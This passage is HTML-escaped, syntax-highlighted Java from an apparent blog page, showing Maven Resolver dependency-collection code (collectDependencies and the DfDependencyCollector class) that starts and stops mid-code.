class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (traverse \u0026amp;\u0026amp; !dependencies.isEmpty()) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDataPool\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epool\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDataPool\u003c/span\u003e(session);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultDependencyCollectionContext\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003econtext\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultDependencyCollectionContext\u003c/span\u003e(\u003cbr\u003e session, request.getRootArtifact(), root, managedDependencies);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultVersionFilterContext\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversionContext\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultVersionFilterContext\u003c/span\u003e(session);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eResults\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresults\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eResults\u003c/span\u003e(result, session);\u003cbr\u003e\u003cbr\u003e doCollectDependencies(\u003cbr\u003e session,\u003cbr\u003e trace,\u003cbr\u003e pool,\u003cbr\u003e context,\u003cbr\u003e versionContext,\u003cbr\u003e request,\u003cbr\u003e node,\u003cbr\u003e repositories,\u003cbr\u003e dependencies,\u003cbr\u003e managedDependencies,\u003cbr\u003e results);\u003cbr\u003e\u003cbr\u003e errorPath = results.getErrorPath();\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003elong\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etime2\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e System.nanoTime();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyGraphTransformer\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etransformer\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e session.getDependencyGraphTransformer();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (transformer != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultDependencyGraphTransformationContext\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003econtext\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultDependencyGraphTransformationContext\u003c/span\u003e(session);\u003cbr\u003e context.put(TransformationContextKeys.STATS, stats);\u003cbr\u003e result.setRoot(transformer.transformGraph(node, context));\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (RepositoryException e) \u0026#123;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003elong\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etime3\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e System.nanoTime();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (logger.isDebugEnabled()) \u0026#123;\u003cbr\u003e stats.put(getClass().getSimpleName() + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.collectTime\u0026quot;\u003c/span\u003e, time2 - time1);\u003cbr\u003e stats.put(getClass().getSimpleName() + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.transformTime\u0026quot;\u003c/span\u003e, time3 - time2);\u003cbr\u003e logger.debug(\u003cspan class=\"hljs-string\"\u003e\u0026quot;Dependency collection stats \u0026#123;\u0026#125;\u0026quot;\u003c/span\u003e, stats);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (errorPath != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectionException\u003c/span\u003e(result, \u003cspan class=\"hljs-string\"\u003e\u0026quot;Failed to collect dependencies at \u0026quot;\u003c/span\u003e + errorPath);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (!result.getExceptions().isEmpty()) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectionException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e result;\u003cbr\u003e \u0026#125;\u003cbr\u003e ...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e155\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e156\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e157\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e158\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e159\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e160\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e161\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e162\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e163\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e164\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e165\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e166\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e167\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e168\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e169\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e170\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e171\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e172\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e173\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e174\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e175\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e176\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e177\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e178\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e179\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e180\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e181\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e182\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e183\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e184\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e185\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e186\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e187\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e188\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e189\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e190\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e191\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e192\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e193\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e194\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e195\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e196\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e197\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e198\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e199\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e200\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e201\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e202\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e203\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e204\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e205\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e206\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e207\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e208\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e209\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e210\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e211\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e212\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e213\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e214\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e215\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e216\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e217\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e218\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDfDependencyCollector\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectorDelegate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eService\u003c/span\u003e \u0026#123;\u003cbr\u003e ...\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprotected\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003edoCollectDependencies\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e RepositorySystemSession session,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e RequestTrace trace,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DataPool pool,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DefaultDependencyCollectionContext context,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DefaultVersionFilterContext versionContext,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e CollectRequest request,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyNode node,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;RemoteRepository\u0026gt; repositories,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;Dependency\u0026gt; dependencies,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;Dependency\u0026gt; managedDependencies,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Results results)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eNodeStack\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enodes\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eNodeStack\u003c/span\u003e();\u003cbr\u003e nodes.push(node);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArgs\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eargs\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArgs\u003c/span\u003e(session, pool, nodes, context, versionContext, request);\u003cbr\u003e\u003cbr\u003e process(\u003cbr\u003e args,\u003cbr\u003e trace,\u003cbr\u003e results,\u003cbr\u003e dependencies,\u003cbr\u003e repositories,\u003cbr\u003e session.getDependencySelector() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e\u003cbr\u003e ? session.getDependencySelector().deriveChildSelector(context)\u003cbr\u003e : \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e,\u003cbr\u003e session.getDependencyManager() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e\u003cbr\u003e ? session.getDependencyManager().deriveChildManager(context)\u003cbr\u003e : \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e,\u003cbr\u003e session.getDependencyTraverser() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e\u003cbr\u003e ? session.getDependencyTraverser().deriveChildTraverser(context)\u003cbr\u003e : \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e,\u003cbr\u003e session.getVersionFilter() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e ? session.getVersionFilter().deriveChildFilter(context) : \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eprocess\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e Args args,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e RequestTrace trace,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Results results,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;Dependency\u0026gt; dependencies,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;RemoteRepository\u0026gt; repositories,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencySelector depSelector,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyManager depManager,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyTraverser depTraverser,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e VersionFilter verFilter)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (Dependency dependency : dependencies) \u0026#123;\u003cbr\u003e processDependency(\u003cbr\u003e args, trace, results, repositories, depSelector, depManager, depTraverser, verFilter, dependency);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eprocessDependency\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Args args,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e RequestTrace trace,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Results results,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e List\u0026lt;RemoteRepository\u0026gt; repositories,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencySelector depSelector,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e DependencyManager 